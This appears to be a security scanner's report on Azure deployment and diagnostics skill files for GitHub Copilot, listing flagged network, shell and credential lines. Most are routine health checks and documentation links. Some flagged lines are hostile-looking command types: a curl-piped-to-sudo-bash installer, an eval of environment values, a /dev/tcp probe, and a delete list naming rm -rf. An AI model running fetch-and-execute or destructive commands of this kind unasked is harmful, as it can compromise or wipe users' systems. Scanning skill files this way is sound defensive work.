| 10 | **Report Results** — Present deployed endpoint URLs to the user as fully-qualified `https://` links | [Verification](references/recipes/azd/verify.md) | - Network accessline 72
> **⛔ URL FORMAT RULE** > > When presenting endpoint URLs to the user, you **MUST** always use fully-qualified URLs with the `https://` scheme (e.g. `https://myapp.azurewebsites.net`, not `myapp.azurewebsites.net`). Many Azure CLI commands - Network accessline 74
> When presenting endpoint URLs to the user, you **MUST** always use fully-qualified URLs with the `https://` scheme (e.g. `https://myapp.azurewebsites.net`, not `myapp.azurewebsites.net`). Many Azure CLI commands return bare hostnames with
harness/github-copilot/skills/azure-deploy/references/auth-best-practices.md
- Network accessline 3
> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
harness/github-copilot/skills/azure-deploy/references/global-rules.md
- Dangerous shell operationline 13
| **Delete** | `az group delete`, `azd down`, `rm -rf`, delete resource |
harness/github-copilot/skills/azure-deploy/references/recipes/azcli/verify.md
- Network accessline 10
curl -s https://<endpoint>/health | jq . - Network accessline 39
# Container Apps FQDN=$(az containerapp show --name <app-name> --resource-group <rg-name> --query "properties.configuration.ingress.fqdn" -o tsv) echo "https://$FQDN" - Network accessline 41
echo "https://$FQDN" - Network accessline 43
# App Service HOSTNAME=$(az webapp show --name <app-name> --resource-group <rg-name> --query "defaultHostName" -o tsv) echo "https://$HOSTNAME" - Network accessline 45
echo "https://$HOSTNAME" - Network accessline 47
# Static Web Apps HOSTNAME=$(az staticwebapp show --name <app-name> --resource-group <rg-name> --query "defaultHostname" -o tsv) echo "https://$HOSTNAME" - Network accessline 49
echo "https://$HOSTNAME" - Network accessline 54
# Container Apps $Fqdn = az containerapp show --name <app-name> --resource-group <rg-name> --query "properties.configuration.ingress.fqdn" -o tsv Write-Output "https://$Fqdn" - Network accessline 56
Write-Output "https://$Fqdn" - Network accessline 58
# App Service $Hostname = az webapp show --name <app-name> --resource-group <rg-name> --query "defaultHostName" -o tsv Write-Output "https://$Hostname" - Network accessline 60
Write-Output "https://$Hostname" - Network accessline 62
# Static Web Apps $Hostname = az staticwebapp show --name <app-name> --resource-group <rg-name> --query "defaultHostname" -o tsv Write-Output "https://$Hostname" - Network accessline 64
Write-Output "https://$Hostname" - Network accessline 67
> ⚠<U+FE0F> **These commands return bare hostnames without a scheme.** Always prepend `https://` when presenting URLs to the user. For example, report `https://myapp.azurewebsites.net`, never `myapp.azurewebsites.net`. - Network accessline 69
Present a summary including all service URLs as fully-qualified `https://` links. Do NOT end your response without including them.
harness/github-copilot/skills/azure-deploy/references/recipes/azd/ef-migrations.md
- Network accessline 146
- [SQL Managed Identity Access](sql-managed-identity.md) - [Post-Deployment Guide](post-deployment.md) - [EF Core Migrations](https://learn.microsoft.com/ef/core/managing-schemas/migrations/) - Network accessline 148
- [EF Core Migrations](https://learn.microsoft.com/ef/core/managing-schemas/migrations/)
harness/github-copilot/skills/azure-deploy/references/recipes/azd/functions-deploy.md
- Network accessline 73
# Check status code only (GET, don't follow redirects) curl -s -o /dev/null -w "%{http_code}" "https://<func-name>.azurewebsites.net/api/<route>" - Network accessline 74
curl -s -o /dev/null -w "%{http_code}" "https://<func-name>.azurewebsites.net/api/<route>" - Network accessline 76
# Get status code and redirect URL curl -s -o /dev/null -w "Status: %{http_code}\nRedirect: %{redirect_url}" "https://<func-name>.azurewebsites.net/api/<route>" - Network accessline 77
curl -s -o /dev/null -w "Status: %{http_code}\nRedirect: %{redirect_url}" "https://<func-name>.azurewebsites.net/api/<route>" - Network accessline 79
# Verbose output showing response headers (GET) curl -sS -D - -o /dev/null "https://<func-name>.azurewebsites.net/api/<route>" - Network accessline 80
curl -sS -D - -o /dev/null "https://<func-name>.azurewebsites.net/api/<route>" - Network accessline 86
# DO NOT use this — returns 404 even when the function works curl -I "https://<func-name>.azurewebsites.net/api/<route>" - Network accessline 87
curl -I "https://<func-name>.azurewebsites.net/api/<route>"
harness/github-copilot/skills/azure-deploy/references/recipes/azd/post-deployment.md
- Dangerous shell operationline 38
eval $(azd env get-values) - Network accessline 78
# Health check curl -f "$ENDPOINT/health" || echo "Health check failed" - Network accessline 79
curl -f "$ENDPOINT/health" || echo "Health check failed" - Network accessline 81
# Test database connectivity curl -f "$ENDPOINT/api/test-db" || echo "Database connection failed" - Network accessline 82
curl -f "$ENDPOINT/api/test-db" || echo "Database connection failed"
harness/github-copilot/skills/azure-deploy/references/recipes/azd/scripts/apply-migrations.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/skills/azure-deploy/references/recipes/azd/scripts/apply-migrations.sh
- Executable scriptline 1
#!/bin/bash
harness/github-copilot/skills/azure-deploy/references/recipes/azd/scripts/grant-and-migrate.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/skills/azure-deploy/references/recipes/azd/scripts/grant-and-migrate.sh
- Executable scriptline 1
#!/bin/bash
harness/github-copilot/skills/azure-deploy/references/recipes/azd/sql-managed-identity.md
harness/github-copilot/skills/azure-deploy/references/recipes/azd/verify.md
- Network accessline 14
Resource Group: rg-myapp-dev Services: api - Endpoint: https://api-xxxx.azurecontainerapps.io - Network accessline 16
api - Endpoint: https://api-xxxx.azurecontainerapps.io - Network accessline 25
# Test endpoint curl -f "$ENDPOINT/health" || curl -f "$ENDPOINT" - Network accessline 26
curl -f "$ENDPOINT/health" || curl -f "$ENDPOINT" - Network accessline 66
| Service | Endpoint | |---------|----------| | apiservice | https://apiservice.xxx.azurecontainerapps.io | - Network accessline 68
| apiservice | https://apiservice.xxx.azurecontainerapps.io | - Network accessline 70
Aspire Dashboard: https://aspire-dashboard.xxx.azurecontainerapps.io - Network accessline 73
> ⚠<U+FE0F> **Always use fully-qualified URLs with the `https://` scheme.** If a command returns a bare hostname (e.g. `myapp.azurestaticapps.net`), prepend `https://` before presenting it to the user. - Dangerous shell operationline 85
eval $(azd env get-values)
harness/github-copilot/skills/azure-deploy/references/recipes/bicep/verify.md
- Network accessline 18
curl -s https://<endpoint>/health | jq . - Network accessline 31
Present a summary including all service URLs as fully-qualified `https://` links. If a deployment output returns a bare hostname (e.g. `myapp.azurewebsites.net`), always prepend `https://`. Do NOT end your response without including them.
harness/github-copilot/skills/azure-deploy/references/recipes/cicd/verify.md
- Network accessline 16
curl -s https://<endpoint>/health | jq . - Network accessline 23
Extract endpoints from the pipeline output or query them directly via `az` CLI. Present a summary including all service URLs as fully-qualified `https://` links. If any command returns a bare hostname (e.g. `myapp.azurewebsites.net`), alway
harness/github-copilot/skills/azure-deploy/references/recipes/terraform/README.md
- Access to secretsline 18
[Credential-related source omitted]
harness/github-copilot/skills/azure-deploy/references/recipes/terraform/errors.md
- Access to secretsline 10
[Credential-related source omitted]
harness/github-copilot/skills/azure-deploy/references/recipes/terraform/verify.md
- Network accessline 11
curl -s https://$(terraform output -raw api_url)/health | jq . - Network accessline 30
Present a summary including all service URLs as fully-qualified `https://` links. If a Terraform output returns a bare hostname (e.g. `myapp.azurewebsites.net`), always prepend `https://`. Do NOT end your response without including them.
harness/github-copilot/skills/azure-deploy/references/region-availability.md
- Network accessline 3
> **AUTHORITATIVE SOURCE** — Consult this file BEFORE recommending any region. > > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table - Network accessline 5
> Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table - Network accessline 65
> Check https://learn.microsoft.com/azure/ai-services/openai/concepts/models for current model availability.
harness/github-copilot/skills/azure-deploy/references/sdk/azd-deployment.md
- Access to secretsline 25
[Credential-related source omitted]
harness/github-copilot/skills/azure-deploy/references/troubleshooting.md
- Network accessline 114
{ "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#", - Network accessline 115
"$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#", - Network accessline 134
**Reference:** [Use environment variables in infrastructure files](https://learn.microsoft.com/azure/developer/azure-developer-cli/manage-environment-variables?tabs=bash#use-environment-variables-in-infrastructure-files)
harness/github-copilot/skills/azure-deployment-preflight/SKILL.md
- Access to secretsline 35
[Credential-related source omitted]
harness/github-copilot/skills/azure-deployment-preflight/references/ERROR-HANDLING.md
- Network accessline 35
- **Message:** Not logged in to Azure CLI - **Remediation:** Run `az login` to authenticate, then re-run preflight validation - **Documentation:** https://learn.microsoft.com/en-us/cli/azure/authenticate-azure-cli - Network accessline 37
- **Documentation:** https://learn.microsoft.com/en-us/cli/azure/authenticate-azure-cli - Network accessline 166
- **Message:** Found unexpected tokens in interpolated expression - **Remediation:** Check the string interpolation syntax at line 22 - **Documentation:** https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/bicep-core-diagn - Network accessline 168
- **Documentation:** https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/bicep-core-diagnostics#bcp064 - Network accessline 211
2. Provide installation instructions. - If available use the Azure MCP `extension_cli_install` tool to get installation instructions. - Otherwise look for instructions at https://learn.microsoft.com/en-us/cli/azure/install-azure-cli. - Network accessline 212
- If available use the Azure MCP `extension_cli_install` tool to get installation instructions. - Otherwise look for instructions at https://learn.microsoft.com/en-us/cli/azure/install-azure-cli. 3. Skip az commands - Network accessline 213
- Otherwise look for instructions at https://learn.microsoft.com/en-us/cli/azure/install-azure-cli. - Network accessline 245
- **Source:** environment - **Message:** Bicep CLI is not installed - **Remediation:** Install Bicep CLI: https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/install - Network accessline 246
- **Message:** Bicep CLI is not installed - **Remediation:** Install Bicep CLI: https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/install - **Impact:** Syntax validation was skipped; Azure will validate during what-if - Network accessline 247
- **Remediation:** Install Bicep CLI: https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/install
harness/github-copilot/skills/azure-deployment-preflight/references/VALIDATION-COMMANDS.md
harness/github-copilot/skills/azure-developer-cli/examples/azure.yaml
- Network accessline 1
# yaml-language-server: $schema=https://raw.githubusercontent.com/Azure/azure-dev/main/schemas/v1.0/azure.yaml.json
harness/github-copilot/skills/azure-developer-cli/references/iac-and-environments.md
harness/github-copilot/skills/azure-developer-cli/references/official-docs.md
- Network accessline 7
- [Azure Developer CLI documentation](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/) - Network accessline 8
- [What is the Azure Developer CLI?](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/overview) - Network accessline 9
- [Azure Developer CLI templates overview](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/azd-templates) - Network accessline 10
- [Create Azure Developer CLI templates overview](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/make-azd-compatible) - Network accessline 11
- [Azure Developer CLI schema reference](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/azd-schema) - Network accessline 12
- [`azure.yaml` JSON schema](https://aka.ms/azure.yaml.json) - Network accessline 13
- [Explore the `azd up` workflow](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/azd-up-workflow) - Network accessline 14
- [Full-stack deployment with Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/full-stack-deployment) - Network accessline 18
- [Use Terraform as an infrastructure as code tool for Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/use-terraform-for-azd) - Network accessline 19
- [Azure Verified Modules](https://azure.github.io/Azure-Verified-Modules/) - Network accessline 20
- [Bicep documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/) - Network accessline 21
- [Terraform on Azure documentation](https://learn.microsoft.com/en-us/azure/developer/terraform/) - Network accessline 25
- [Azure Developer CLI environments overview](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/environments-overview) - Network accessline 26
- [Work with Azure Developer CLI environments](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/work-with-environments) - Network accessline 27
- [Work with Azure Developer CLI environment variables](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/manage-environment-variables) - Network accessline 28
- [Remote environments support](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/remote-environments-support) - Network accessline 29
- [Use environment secrets with Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/environment-secrets) - Network accessline 33
- [Customize Azure Developer CLI workflows using hooks](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/azd-extensibility) - Network accessline 34
- [Explore Azure Developer CLI support for CI/CD pipelines](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/configure-devops-pipeline) - Network accessline 35
- [Create a GitHub Actions CI/CD pipeline using Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/pipeline-github-actions) - Network accessline 36
- [Advanced pipeline features and configurations](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/pipeline-advanced-features) - Network accessline 37
- [Azure Developer CLI command reference](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/reference) - Network accessline 38
- [Troubleshoot Azure Developer CLI](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/troubleshoot) - Network accessline 42
- [Adding agent skills for GitHub Copilot](https://docs.github.com/en/copilot/how-tos/copilot-on-github/customize-copilot/customize-cloud-agent/add-skills) - Network accessline 43
- [About agent skills](https://docs.github.com/en/copilot/concepts/agents/about-agent-skills)
harness/github-copilot/skills/azure-developer-cli/references/project-structure.md
- Network accessline 59
# yaml-language-server: $schema=https://raw.githubusercontent.com/Azure/azure-dev/main/schemas/v1.0/azure.yaml.json
harness/github-copilot/skills/azure-devops-cli/SKILL.md
- Network accessline 27
# Install Azure CLI on Linux curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash - Dangerous shell operationline 28
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash - Network accessline 28
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash - Network accessline 37
az devops login --organization https://dev.azure.com/{org} --token YOUR_PAT_TOKEN - Network accessline 38
az devops configure --defaults organization=https://dev.azure.com/{org} project={project} - Network accessline 42
Replace legacy `https://{org}.visualstudio.com` URLs with `https://dev.azure.com/{org}`. - Network accessline 129
- **Do not expose `YOUR_PAT_TOKEN`**: pass tokens through secure input or environment-controlled login, never commit them. - **Configure defaults carefully**: stale defaults can mutate the wrong organization or project. - **Prefer `https:// - Network accessline 130
- **Configure defaults carefully**: stale defaults can mutate the wrong organization or project. - **Prefer `https://dev.azure.com/{org}`**: legacy `https://{org}.visualstudio.com` URLs should be replaced. - **Windows long comments fail thr - Network accessline 131
- **Prefer `https://dev.azure.com/{org}`**: legacy `https://{org}.visualstudio.com` URLs should be replaced. - Network accessline 157
**Status:** complete | blocked | failed **Organization:** `https://dev.azure.com/{org}` - Network accessline 158
**Organization:** `https://dev.azure.com/{org}` - Network accessline 178
- [ ] Azure CLI and `azure-devops` extension prerequisites are satisfied or installation commands are provided. - [ ] Organization uses `https://dev.azure.com/{org}` and the project context is explicit. - Network accessline 179
- [ ] Organization uses `https://dev.azure.com/{org}` and the project context is explicit. - Network accessline 188
- [Azure CLI Linux install](https://aka.ms/InstallAzureCLIDeb)
harness/github-copilot/skills/azure-devops-cli/references/advanced-usage.md
- Network accessline 159
| Parameter | Description | |---|---| | `--org` / `--organization` | Azure DevOps organization URL (e.g., `https://dev.azure.com/{org}`) | - Network accessline 160
|---|---| | `--org` / `--organization` | Azure DevOps organization URL (e.g., `https://dev.azure.com/{org}`) | | `--project` / `-p` | Project name or ID | - Network accessline 161
| `--org` / `--organization` | Azure DevOps organization URL (e.g., `https://dev.azure.com/{org}`) |
harness/github-copilot/skills/azure-devops-cli/references/long-comments-on-windows.md
- Network accessline 54
The Azure CLI `@<file>` convention is documented for JSON parameters (see [the official quoting guide](https://learn.microsoft.com/en-us/cli/azure/use-azure-cli-successfully-quoting)). It is not guaranteed to expand plain string args like `
harness/github-copilot/skills/azure-devops-cli/references/org-and-security.md
- Network accessline 22
az devops project list --organization https://dev.azure.com/{org} - Network accessline 29
az devops project create \ --name myNewProject \ --organization https://dev.azure.com/{org} \ - Network accessline 30
--name myNewProject \ --organization https://dev.azure.com/{org} \ --description "My new DevOps project" \ - Network accessline 31
--organization https://dev.azure.com/{org} \ - Network accessline 40
az devops project show --project {project-name} --org https://dev.azure.com/{org} - Network accessline 46
az devops project delete --id {project-id} --org https://dev.azure.com/{org} --yes - Network accessline 155
az devops user list --org https://dev.azure.com/{org} - Network accessline 162
az devops user show --user {user-id-or-email} --org https://dev.azure.com/{org} - Network accessline 168
az devops user add --email user@example.com --license-type express --org https://dev.azure.com/{org} - Network accessline 169
--email user@example.com \ --license-type express \ --org https://dev.azure.com/{org} - Network accessline 171
--org https://dev.azure.com/{org} - Network accessline 177
az devops user update --user {user-id-or-email} --license-type advanced --org https://dev.azure.com/{org} - Network accessline 178
--user {user-id-or-email} \ --license-type advanced \ --org https://dev.azure.com/{org} - Network accessline 180
--org https://dev.azure.com/{org} - Network accessline 186
az devops user remove --user {user-id-or-email} --org https://dev.azure.com/{org} --yes - Network accessline 440
# List installed extensions az devops extension list --org https://dev.azure.com/{org} - Network accessline 441
az devops extension list --org https://dev.azure.com/{org} - Network accessline 446
# Show extension details az devops extension show --ext-id {extension-id} --org https://dev.azure.com/{org} - Network accessline 447
az devops extension show --ext-id {extension-id} --org https://dev.azure.com/{org} - Network accessline 450
az devops extension install \ --ext-id {extension-id} \ --org https://dev.azure.com/{org} \ - Network accessline 451
--ext-id {extension-id} \ --org https://dev.azure.com/{org} \ --publisher {publisher-id} - Network accessline 452
--org https://dev.azure.com/{org} \ - Network accessline 456
az devops extension enable \ --ext-id {extension-id} \ --org https://dev.azure.com/{org} - Network accessline 458
--org https://dev.azure.com/{org} - Network accessline 461
az devops extension disable \ --ext-id {extension-id} \ --org https://dev.azure.com/{org} - Network accessline 463
--org https://dev.azure.com/{org} - Network accessline 466
az devops extension uninstall \ --ext-id {extension-id} \ --org https://dev.azure.com/{org} --yes - Network accessline 468
--org https://dev.azure.com/{org} --yes
harness/github-copilot/skills/azure-devops-cli/references/pipelines-and-builds.md
harness/github-copilot/skills/azure-devops-cli/references/repos-and-prs.md
- Network accessline 17
az repos list --org https://dev.azure.com/{org} --project {project} - Network accessline 50
# Import from public Git repository az repos import create \ --git-source-url https://github.com/user/repo \ - Network accessline 51
az repos import create --git-source-url https://github.com/user/repo - Network accessline 52
--git-source-url https://github.com/user/repo \ - Network accessline 55
# Import with authentication az repos import create \ --git-source-url https://github.com/{owner}/{repo} \ - Network accessline 56
az repos import create --git-source-url https://github.com/{owner}/{repo} - Network accessline 57
--git-source-url https://github.com/{owner}/{repo} \
harness/github-copilot/skills/azure-devops-cli/references/workflows-and-patterns.md
- Access to secretsline 156
[Credential-related source omitted] - Access to secretsline 158
[Credential-related source omitted] - Network accessline 177
"serviceEndpointId": "$SERVICE_ENDPOINT_ID" }, "url": "https://learn.microsoft.com/en-us/rest/api/resources/", - Network accessline 178
[Credential-related source omitted] - Network accessline 179
"url": "https://learn.microsoft.com/en-us/rest/api/resources/", - Access to secretsline 185
[Credential-related source omitted] - Network accessline 333
# Alternative download method curl -L "$BACKUP_URL" -o ./output/backup.zip - Network accessline 334
curl -L "$BACKUP_URL" -o ./output/backup.zip - Access to secretsline 460
[Credential-related source omitted] - Access to secretsline 461
[Credential-related source omitted] - Network accessline 553
if [[ "$RESULT" == "failed" ]]; then # Send Slack alert curl -X POST "$slack_webhook" \ - Network accessline 554
# Send Slack alert curl -X POST "$slack_webhook" \ -H 'Content-Type: application/json' \ - Network accessline 555
curl -X POST "$slack_webhook" \
harness/github-copilot/skills/azure-diagnostics/references/app-service/README.md
- Network accessline 6
|---------|--------------|-----------| | High CPU / memory | Runaway process, inefficient code | Use Process Explorer via Kudu, scale up | | Deployment failure | Build error, locked files, quota | Check Kudu logs at `https://APP.scm.azurewe - Network accessline 7
| High CPU / memory | Runaway process, inefficient code | Use Process Explorer via Kudu, scale up | | Deployment failure | Build error, locked files, quota | Check Kudu logs at `https://APP.scm.azurewebsites.net/api/deployments` to look for - Network accessline 8
| Deployment failure | Build error, locked files, quota | Check Kudu logs at `https://APP.scm.azurewebsites.net/api/deployments` to look for details on build errors, locked files or lack of storage quota | - Network accessline 30
**Fix:** Scale up (`az appservice plan update -n <app-service-plan-name> -g <resource-group> --sku P1V3`) or profile the app via Kudu Process Explorer at `https://APP.scm.azurewebsites.net/ProcessExplorer/` to identify hot paths. - Network accessline 96
# Test the endpoint directly curl -s -o /dev/null -w "%{http_code}" https://APP.azurewebsites.net/health - Network accessline 97
curl -s -o /dev/null -w "%{http_code}" https://APP.azurewebsites.net/health
harness/github-copilot/skills/azure-diagnostics/references/container-apps/README.md
harness/github-copilot/skills/azure-diagnostics/references/kql-queries.md
harness/github-copilot/skills/azure-diagnostics/scripts/aks-baseline.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/skills/azure-diagnostics/scripts/aks-baseline.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/github-copilot/skills/azure-diagnostics/scripts/appservice-diagnostics.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/skills/azure-diagnostics/scripts/appservice-diagnostics.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/github-copilot/skills/azure-diagnostics/scripts/containerapp-diagnostics.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/skills/azure-diagnostics/scripts/containerapp-diagnostics.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/github-copilot/skills/azure-diagnostics/scripts/pod-evidence.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/skills/azure-diagnostics/scripts/pod-evidence.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/github-copilot/skills/azure-diagnostics/scripts/run-ig.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/skills/azure-diagnostics/scripts/run-ig.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/github-copilot/skills/azure-diagnostics/scripts/test-messaging-connectivity.ps1
- Executable scriptline 1
Executable file - Network accessline 89
function Get-HttpsResult { try { $resp = Invoke-WebRequest -Uri "https://$fqdn/" -Method Get -TimeoutSec 15 ` - Network accessline 90
try { $resp = Invoke-WebRequest -Uri "https://$fqdn/" -Method Get -TimeoutSec 15 ` -UseBasicParsing -ErrorAction Stop - Network accessline 91
$resp = Invoke-WebRequest -Uri "https://$fqdn/" -Method Get -TimeoutSec 15 `
harness/github-copilot/skills/azure-diagnostics/scripts/test-messaging-connectivity.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 99
probe_tcp() { local host="$1" port="$2" if command -v nc >/dev/null 2>&1; then - Network accessline 100
local host="$1" port="$2" if command -v nc >/dev/null 2>&1; then if nc -z -w 5 "$host" "$port" >/dev/null 2>&1; then - Network accessline 101
if command -v nc >/dev/null 2>&1; then - Network accessline 102
if nc -z -w 5 "$host" "$port" >/dev/null 2>&1; then - Dangerous shell operationline 108
( exec 3<>"/dev/tcp/$host/$port" ) >/dev/null 2>&1 & - Network accessline 108
( exec 3<>"/dev/tcp/$host/$port" ) >/dev/null 2>&1 & - Network accessline 132
# ── HTTPS reachability ──────────────────────────────────────────────────────── # On success the namespace returns an Atom feed or HTTP 401 — either proves the # endpoint is reachable. A connection failure (curl exit != 0) means blocked. - Network accessline 134
# endpoint is reachable. A connection failure (curl exit != 0) means blocked. - Network accessline 135
https_result() { if ! command -v curl >/dev/null 2>&1; then - Network accessline 136
if ! command -v curl >/dev/null 2>&1; then - Network accessline 138
if probe_tcp "$FQDN" 443; then echo "reachable (TCP 443 open; curl unavailable for HTTP check)" - Network accessline 139
echo "reachable (TCP 443 open; curl unavailable for HTTP check)" - Network accessline 144
fi local code code=$(curl -s -o /dev/null -m 15 -w '%{http_code}' "https://$FQDN/" 2>/dev/null) - Network accessline 145
local code code=$(curl -s -o /dev/null -m 15 -w '%{http_code}' "https://$FQDN/" 2>/dev/null) local rc=$? - Network accessline 146
code=$(curl -s -o /dev/null -m 15 -w '%{http_code}' "https://$FQDN/" 2>/dev/null) - Network accessline 149
echo "reachable (HTTP $code)" else echo "BLOCKED (curl exit $rc)" - Network accessline 150
else echo "BLOCKED (curl exit $rc)" fi - Network accessline 151
echo "BLOCKED (curl exit $rc)"
harness/github-copilot/skills/azure-diagnostics/troubleshooting/aks/networking.md
- Network accessline 3
For CNI-specific issues, check CNI pod health and review [AKS networking concepts](https://learn.microsoft.com/azure/aks/concepts-network). - Network accessline 15
# This creates a temporary pod. Prefer read-only checks first. # Only use it after the user explicitly approves a mutating test. kubectl run netdebug --image=curlimages/curl -it --rm -n <ns> -- \ - Network accessline 16
# Only use it after the user explicitly approves a mutating test. kubectl run netdebug --image=curlimages/curl -it --rm -n <ns> -- \ curl -sv http://<service>.<ns>.svc.cluster.local:<port>/healthz - Network accessline 17
kubectl run netdebug --image=curlimages/curl -it --rm -n <ns> -- \ - Network accessline 18
curl -sv http://<service>.<ns>.svc.cluster.local:<port>/healthz
harness/github-copilot/skills/azure-diagnostics/troubleshooting/aks/node-issues.md
- Network accessline 97
See [AKS resource reservations](https://learn.microsoft.com/azure/aks/concepts-clusters-workloads#resource-reservations) for allocatable math.
harness/github-copilot/skills/azure-diagnostics/troubleshooting/aks/spot-and-zone-issues.md
- Network accessline 64
Use `Premium_ZRS` or `StandardSSD_ZRS` in custom StorageClasses to reduce zonal PVC conflicts. See [AKS storage best practices](https://learn.microsoft.com/azure/aks/operator-best-practices-storage).
harness/github-copilot/skills/azure-diagnostics/troubleshooting/compute/references/cannot-connect-to-vm.md
- Network accessline 48
[Windows RDP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-connection - Network accessline 49
[Linux SSH]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection - Network accessline 50
[Windows VM hub]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/welcome-virtual-machines-windows - Network accessline 51
[Linux VM hub]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/welcome-virtual-machines-linux
harness/github-copilot/skills/azure-diagnostics/troubleshooting/compute/references/credential-auth-errors.md
- Dangerous shell operationline 16
| sudo prompt fails | Linux | Fix sudoers via Run Command or Serial Console | [SSH overview] | - Network accessline 33
[Reset RDP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-rdp - Network accessline 34
[RDP overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-connection - Network accessline 35
[RDP errors]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-specific-rdp-errors - Network accessline 36
[CredSSP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/credssp-encryption-oracle-remediation - Network accessline 37
[SSH detail]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/detailed-troubleshoot-ssh-connection - Network accessline 38
[SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection
harness/github-copilot/skills/azure-diagnostics/troubleshooting/compute/references/firewall-blocking.md
- Network accessline 36
[Guest firewall]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/guest-os-firewall-blocking-inbound-traffic - Network accessline 37
[Firewall rule]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/enable-disable-firewall-rule-guest-os - Network accessline 38
[Offline firewall]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/disable-guest-os-firewall-windows - Network accessline 39
[SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection - Network accessline 40
[Linux repair]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/repair-linux-vm-using-azure-virtual-machine-repair-commands
harness/github-copilot/skills/azure-diagnostics/troubleshooting/compute/references/network-connectivity.md
- Network accessline 36
[RDP NSG]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nsg-problem - Network accessline 37
[Traffic filter]: https://learn.microsoft.com/en-us/azure/network-watcher/diagnose-vm-network-traffic-filtering-problem - Network accessline 38
[Routing]: https://learn.microsoft.com/en-us/azure/network-watcher/diagnose-vm-network-routing-problem - Network accessline 39
[Public IP]: https://learn.microsoft.com/en-us/azure/virtual-network/ip-services/public-ip-addresses - Network accessline 40
[RDP NIC]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-nic-disabled - Network accessline 41
[Reset NIC]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/reset-network-interface - Network accessline 42
[DHCP]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/windows/troubleshoot-rdp-dhcp-disabled - Network accessline 43
[SSH overview]: https://learn.microsoft.com/en-us/troubleshoot/azure/virtual-machines/linux/troubleshoot-ssh-connection
harness/github-copilot/skills/azure-diagnostics/troubleshooting/compute/references/rdp-connectivity.md
- Network accessline 34
